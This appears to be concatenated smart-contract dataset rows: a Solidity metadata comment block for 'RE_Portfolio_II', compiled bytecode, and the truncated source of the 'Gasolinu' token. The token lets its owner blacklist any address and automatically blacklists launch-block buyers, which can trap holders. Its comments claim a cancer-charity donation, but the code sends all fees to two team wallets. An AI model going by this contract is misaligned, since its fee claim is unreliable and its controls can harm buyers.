// < 1E-018 limites [ 1E-018 ; 78550116,981511 ] >
// < 0x00000000000000000000000000000000000000000000000000000001D431F966 >
// < RE_Portfolio_II_metadata_line_2_____Allianz_SE_AA_Ap_20250515 >
// < 3t3sYFCF153lY8Jj1yjgwmV80Ib4e9SX8dp277Fji7m7Iua73dNzFH4ERqF29fIo >
// < 1E-018 limites [ 78550116,981511 ; 93956046,2773862 ] >
// < 0x00000000000000000000000000000000000000000000001D431F966230058E87 >
// < RE_Portfolio_II_metadata_line_3_____Allianz_Suisse_Versich_AAm_m_20250515 >
// < M4R45Sq8qxZq0o98MYjbzQXi9x4ma2VkxwO5T4Ss8lqd9LgPxcqCbsd7Gys4bdn7 >
// < 1E-018 limites [ 93956046,2773862 ; 157595717,514915 ] >
// < 0x0000000000000000000000000000000000000000000000230058E873AB57FD1B >
// < RE_Portfolio_II_metadata_line_4_____Allied_World_Assurance_Co_A_20250515 >
// < zXFdwOHE246ISr988J3160nrD5d85Cm8wI80XrRqNZgIF4QVc6Vp2S5T79msP3Iz >
// < 1E-018 limites [ 157595717,514915 ; 175387761,620715 ] >
// < 0x00000000000000000000000000000000000000000000003AB57FD1B415647E56 >
// < RE_Portfolio_II_metadata_line_5_____Allied_World_Assurance_Company_Holdings_AG_20250515 >
// < bSF21r77gJ82H2IL2s6l21sI7AC1S8T6e2wg776L3TX1b7x860y8dFnrR264juGr >
// < 1E-018 limites [ 175387761,620715 ; 215213125,864114 ] >
// < 0x0000000000000000000000000000000000000000000000415647E56502C52D3E >
// < RE_Portfolio_II_metadata_line_6_____Allied_World_Managing_Agency_Limited_20250515 >
// < 8f9BBUe1Eq4ixzn04q6Q8MarKfz4Sl9fA22fFQ5O6AL3V0cvW5ukdEf6rpKeW9pL >
// < 1E-018 limites [ 215213125,864114 ; 226148928,258301 ] >
// < 0x0000000000000000000000000000000000000000000000502C52D3E543F3E30D >
// < RE_Portfolio_II_metadata_line_7_____Allied_World_Managing_Agency_Limited_20250515 >
// < dG64xI6G4e93eF7SaHMN1eib5eq6w97UgLToPRMzUsl04ekLfQ0A5USWOD9N7G1t >
// < 1E-018 limites [ 226148928,258301 ; 301360847,798055 ] >
// < 0x0000000000000000000000000000000000000000000000543F3E30D704402B1F >
// < RE_Portfolio_II_metadata_line_8_____AlmAhleia_Insurance_Co_SAK_Am_A3_20250515 >
// < S6hiyVDEP7qY8VhPE8Xu6gqmqsIo9UI71f36YZg9UCTbwH25dVcgM0V5iNpE27L0 >
// < 1E-018 limites [ 301360847,798055 ; 329870172,394454 ] >
// < 0x0000000000000000000000000000000000000000000000704402B1F7AE2DF20B >
// < RE_Portfolio_II_metadata_line_9_____Alterra_Capital_Holdings_Limited_20250515 >
// < eYkpq8985X5Dmf78T7D4wy73KQ5tOsDZgw9Drgkty4j5ovqT6sfr8yoafo44uece >
// < 1E-018 limites [ 329870172,394454 ; 409321953,097704 ] >
// < 0x00000000000000000000000000000000000000000000007AE2DF20B987BFBDE1 >
// < RE_Portfolio_II_metadata_line_10_____American_Agricultural_insurance_CO_m_Am_20250515 >
// < STWYsk8TCAi88T5c0Phq39IZ1C99L5D0m5HaO4LbPf1e31agive1JE1OIVQ0AZG8 >
// < 1E-018 limites [ 409321953,097704 ; 430334973,954591 ] >
// < 0x0000000000000000000000000000000000000000000000987BFBDE1A04FF1127 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_II_metadata_line_11_____American_Agricultural_Insurance_Company_20250515 >
// < 7Ld4asiGt25K5JURa1tPGRUM60tWhOJ61tBV401bAPTw7SbXy39B90eTkN20psS3 >
// < 1E-018 limites [ 430334973,954591 ; 476302664,431914 ] >
// < 0x0000000000000000000000000000000000000000000000A04FF1127B16FC323F >
// < RE_Portfolio_II_metadata_line_12_____American_Home_Assurance_CO_Ap_A_20250515 >
// < AieC7cnSzO4VAL0HQeV7XGfCQdF7mh081VT4w1q00wa014K78Z9B9B3ZWo69NQXG >
// < 1E-018 limites [ 476302664,431914 ; 487031305,818764 ] >
// < 0x0000000000000000000000000000000000000000000000B16FC323FB56EECDC9 >
// < RE_Portfolio_II_metadata_line_13_____American_International_Group__Chartis__Am_BBB_20250515 >
// < 4Y09lwNUnh1I1vM199OLr52hW0xPKNpq6GYUb1csvV1Q3pjJohHt9NVwW8r5G452 >
// < 1E-018 limites [ 487031305,818764 ; 511039276,250391 ] >
// < 0x0000000000000000000000000000000000000000000000B56EECDC9BE6080F3D >
// < RE_Portfolio_II_metadata_line_14_____American_Life_InsurancemDelaware_AAm_20250515 >
// < s8Y3JGlD1zFPmyD7J29IApZC5Px6d8emgdqBQLc7SLGRMBUu61xkVoGW9UjqLUa7 >
// < 1E-018 limites [ 511039276,250391 ; 539816850,735835 ] >
// < 0x0000000000000000000000000000000000000000000000BE6080F3DC918F2745 >
// < RE_Portfolio_II_metadata_line_15_____American_Re_20250515 >
// < vp5FO57Sm9OdrzZqKbNL1lp1v4H7LP34JL4zX852YfkH0K7Ss3Vug7G0WN8cKsT6 >
// < 1E-018 limites [ 539816850,735835 ; 554809069,609304 ] >
// < 0x0000000000000000000000000000000000000000000000C918F2745CEAEB76C4 >
// < RE_Portfolio_II_metadata_line_16_____American_Re_20250515 >
// < zAr3f7226e8VWqHT0rM0Ab0YBqQJlo986TN10IGrIqhA4lM67W9PbgynQ9zlKv5b >
// < 1E-018 limites [ 554809069,609304 ; 604153363,238962 ] >
// < 0x0000000000000000000000000000000000000000000000CEAEB76C4E1108E177 >
// < RE_Portfolio_II_metadata_line_17_____Amlin_AG_A_m_20250515 >
// < 9cz8d8VF27PLPb7rF52r2PBmT3iyI6SY47FHqQMdZsd8O90uG4t3OI4K9Ne4dgl8 >
// < 1E-018 limites [ 604153363,238962 ; 616365063,076824 ] >
// < 0x0000000000000000000000000000000000000000000000E1108E177E59D274B7 >
// < RE_Portfolio_II_metadata_line_18_____Amlin_Underwriting_Limited_20250515 >
// < YB5jC0gD9Bd7gLq1JJhEwX64x9beqLN84zf7RZ6Xj1TRL3qipg3g1uDTok0Jk94y >
// < 1E-018 limites [ 616365063,076824 ; 694824910,429081 ] >
// < 0x000000000000000000000000000000000000000000000E59D274B7102D7AAE96 >
// < RE_Portfolio_II_metadata_line_19_____Amlin_Underwriting_Limited_20250515 >
// < dK7jv4pXHQX3YUj36xVJ37giQv0MTMnvMAw2J8VAF8I625mMn94714cS8I27B99e >
// < 1E-018 limites [ 694824910,429081 ; 729038041,376321 ] >
// < 0x00000000000000000000000000000000000000000000102D7AAE9610F967C6DD >
// < RE_Portfolio_II_metadata_line_20_____AmTrust_at_Lloyd_s_Limited_20250515 >
// < kqNe40Gywy3hKBuuMh5PISVf9jeNY3GIgp569JvlS9fVVKUL7YJ6H5Il3KhpURex >
// < 1E-018 limites [ 729038041,376321 ; 746233257,528246 ] >
// < 0x0000000000000000000000000000000000000000000010F967C6DD115FE5982C >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_II_metadata_line_21_____AmTrust_at_Lloyd_s_Limited_20250515 >
// < AI2lvL0o44Z62Ub7aD7dNZ22s9s6LD08h0M93GPrC5bOQsc3jXdHTsD8Y34uToPN >
// < 1E-018 limites [ 746233257,528246 ; 768580992,981868 ] >
// < 0x00000000000000000000000000000000000000000000115FE5982C11E5198856 >
// < RE_Portfolio_II_metadata_line_22_____AmTrust_at_Lloyd_s_Limited_20250515 >
// < 8ioQp28s9WRwx6TmT21qzu9x2MYi7LR26na031Tjgwt90cyTG4OFjR6Ow4aPIACv >
// < 1E-018 limites [ 768580992,981868 ; 806646950,959609 ] >
// < 0x0000000000000000000000000000000000000000000011E519885612C7FD932B >
// < RE_Portfolio_II_metadata_line_23_____AmTrust_Syndicates_Limited_20250515 >
// < 6i89KU5mXejg0jj4GW9k84ZS5N1Rx5H8t40uJLUZ40D0rt9sWzzC0BUL0ukP2j4e >
// < 1E-018 limites [ 806646950,959609 ; 837377152,317488 ] >
// < 0x0000000000000000000000000000000000000000000012C7FD932B137F282413 >
// < RE_Portfolio_II_metadata_line_24_____AmTrust_Syndicates_Limited_20250515 >
// < 2O1z6Jq919ge54SWslke0jG6lgzHcQoj0i00gd3HZ6ld6Lb8lC51gMjm7yawqF04 >
// < 1E-018 limites [ 837377152,317488 ; 912708164,125266 ] >
// < 0x00000000000000000000000000000000000000000000137F28241315402A2490 >
// < RE_Portfolio_II_metadata_line_25_____AmTrust_Syndicates_Limited_20250515 >
// < oTB287DUgl7k2TJ6r2I4ADnoXBgN3046OD2c67MnJJz2APj3Crq75r6I93YN8b7F >
// < 1E-018 limites [ 912708164,125266 ; 936043661,281416 ] >
// < 0x0000000000000000000000000000000000000000000015402A249015CB414924 >
// < RE_Portfolio_II_metadata_line_26_____AmTrust_Syndicates_Limited_20250515 >
// < jfrvR6K3F3vk4mCx003JvtU1P0pzfCf8T8hBb7sFh8047A116zCo5y5NCgg2Xdl3 >
// < 1E-018 limites [ 936043661,281416 ; 987754411,910278 ] >
// < 0x0000000000000000000000000000000000000000000015CB41492416FF79A11B >
// < RE_Portfolio_II_metadata_line_27_____AmTrust_Syndicates_Limited_20250515 >
// < 910316ef5Q9d69t30iChKQY3O31o0k2cAcfe17i498gPxfGanG0n4TkWsmg95y1n >
// < 1E-018 limites [ 987754411,910278 ; 1041530938,58336 ] >
// < 0x0000000000000000000000000000000000000000000016FF79A11B18400218D6 >
// < RE_Portfolio_II_metadata_line_28_____AmTrust_Syndicates_Limited_20250515 >
// < 6PZH4i0bWX4DmS73uYXOXB5c5e5IW636394Ti6rEMc7i7V9xn8SbzHln4iLGC1vH >
// < 1E-018 limites [ 1041530938,58336 ; 1119585564,13246 ] >
// < 0x0000000000000000000000000000000000000000000018400218D61A114000F1 >
// < RE_Portfolio_II_metadata_line_29_____AmTrust_Syndicates_Limited_20250515 >
// < 63843qJO3afqH69Su8oX38TVTvV9IquXMnF8VPP31i3jByrPz3vvt5vOUFP8XofK >
// < 1E-018 limites [ 1119585564,13246 ; 1139150556,08023 ] >
// < 0x000000000000000000000000000000000000000000001A114000F11A85DDCFEC >
// < RE_Portfolio_II_metadata_line_30_____AmTrust_Syndicates_Limited_20250515 >
// < vKV34Zi6lN0TEjT7vCWPs7NsedOj0W2Sf7uyhHSOpnh3WDVm6SHXtfM9rcjtA0T0 >
// < 1E-018 limites [ 1139150556,08023 ; 1199582495,60836 ] >
// < 0x000000000000000000000000000000000000000000001A85DDCFEC1BEE11A24C >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_II_metadata_line_31_____AmTrust_Syndicates_Limited_20250515 >
// < 8Jix206EZ1N8Ji8qphX49V9vI7pDAf0q8ia5vQR1cL6G9f5S28AV2092vdfymtwc >
// < 1E-018 limites [ 1199582495,60836 ; 1231768407,83365 ] >
// < 0x000000000000000000000000000000000000000000001BEE11A24C1CADE97043 >
// < RE_Portfolio_II_metadata_line_32_____AmTrust_Syndicates_Limited_20250515 >
// < 1P789e2Gr3Sawjun2VcK6ZDVwx88slnnd2YcKMy6wfZ30wMwViPnkRnYBQ8E1Su0 >
// < 1E-018 limites [ 1231768407,83365 ; 1258806268,71458 ] >
// < 0x000000000000000000000000000000000000000000001CADE970431D4F11F0AB >
// < RE_Portfolio_II_metadata_line_33_____Anadolu_Sigorta_20250515 >
// < SrS1GHiwpz61DrSvWPTwrqc5arMO1wyZ0612ujjf6WCL3Wz25kx49TCY21DM6kXa >
// < 1E-018 limites [ 1258806268,71458 ; 1283223875,69213 ] >
// < 0x000000000000000000000000000000000000000000001D4F11F0AB1DE09C4065 >
// < RE_Portfolio_II_metadata_line_34_____Annuity_and_Life_Re_20250515 >
// < SIQj8xXKlbjnQJ4UWx27gRQ50Jpd19Kw5nOl8AC0qveG5R202D4K3BYAt234JNr1 >
// < 1E-018 limites [ 1283223875,69213 ; 1313911165,01785 ] >
// < 0x000000000000000000000000000000000000000000001DE09C40651E978556C9 >
// < RE_Portfolio_II_metadata_line_35_____Annuity_and_Life_Re_20250515 >
// < y12Igvd1Pg42DjsYd9pYEN53RrmtvbR67euxE621jVb1Uv0mD3OunwV9N0AZGkb9 >
// < 1E-018 limites [ 1313911165,01785 ; 1337384016,3828 ] >
// < 0x000000000000000000000000000000000000000000001E978556C91F236E115A >
// < RE_Portfolio_II_metadata_line_36_____Antares_Managing_Agency_Limited_20250515 >
// < Ej1GF562TWmSmvlH33023bcNPtJSo4U351uGXnu5DZyMb3vmg4rC01sr35i69qHy >
// < 1E-018 limites [ 1337384016,3828 ; ] >
// < 0x000000000000000000000000000000000000000000001F236E115A21044BE921 >
// < RE_Portfolio_II_metadata_line_37_____Antares_Managing_Agency_Limited_20250515 >
// < SN01g365LHxIE6FZW6i8M0Qj6aICkAD9XmC2lnywo9cE4020exikAxozmGRS4gVS >
// < 1E-018 limites [ 1418060040,13825 ; 1438045892,93654 ] >
// < 0x0000000000000000000000000000000000000000000021044BE921217B6BE6E1 >
// < RE_Portfolio_II_metadata_line_38_____ANV_Syndicate_Management_Limited_20250515 >
// < 40stng5KZW5ytKymrA6awYS7F2qLFCRfZhLJnEG1H25968Xt431ZV2tv3NX0uQkz >
// < 1E-018 limites [ 1438045892,93654 ; 1486639903,4223 ] >
// < 0x00000000000000000000000000000000000000000000217B6BE6E1229D107A3A >
// < RE_Portfolio_II_metadata_line_39_____ANV_Syndicate_Management_Limited_20250515 >
// < Wh791C3b8at1Hq9q3IQwF5FOyV9GIs5G6GNYeeV1Xvz8pyMMxr16N51Ta7RZ8W2T >
// < 1E-018 limites [ 1486639903,4223 ; 1531557907,00135 ] >
// < 0x00000000000000000000000000000000000000000000229D107A3A23A8CBE960 >
// < RE_Portfolio_II_metadata_line_40_____ANV_Syndicates_Limited_20250515 >
// < 2ZPnzM8g0JK5xeabBzerVPFV8Eyp583qErdPd6l65x7zL1r070Da8D5rhdLks39C >
// < 1E-018 limites [ 1531557907,00135 ; 1546798683,705 ] >
// < 0x0000000000000000000000000000000000000000000023A8CBE9602403A37DC6 >
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820c914b97b3c8380278f2f0b57b2ad288da9370bfbb1a6aeae37dcb20b5ec178ed0029
|
{"success": true, "error": null, "results": {}}
| 8,939 |
0x9E3CF11639C1760E3e686E866bC809FDA8C4637f
|
/**
Gasolinu
GASOLINU
http://t.me/Gasolinu
http://twitter.com/Gasolinu
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Gasolinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Gasolinu";
string private constant _symbol = "GASOLINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11; // 3% will be donated to American Cancer Society
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11; // 3% will be donated to American Cancer Society
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xD947fdDF69C04AEBFAB3D92045B43eDBcb1EF8B8);//
address payable private _marketingAddress = payable(0x744fe30Be76549108f61B09e42fd9e72A44E7d5E);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2500000 * 10**9; //
uint256 public _maxWalletSize = 20000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
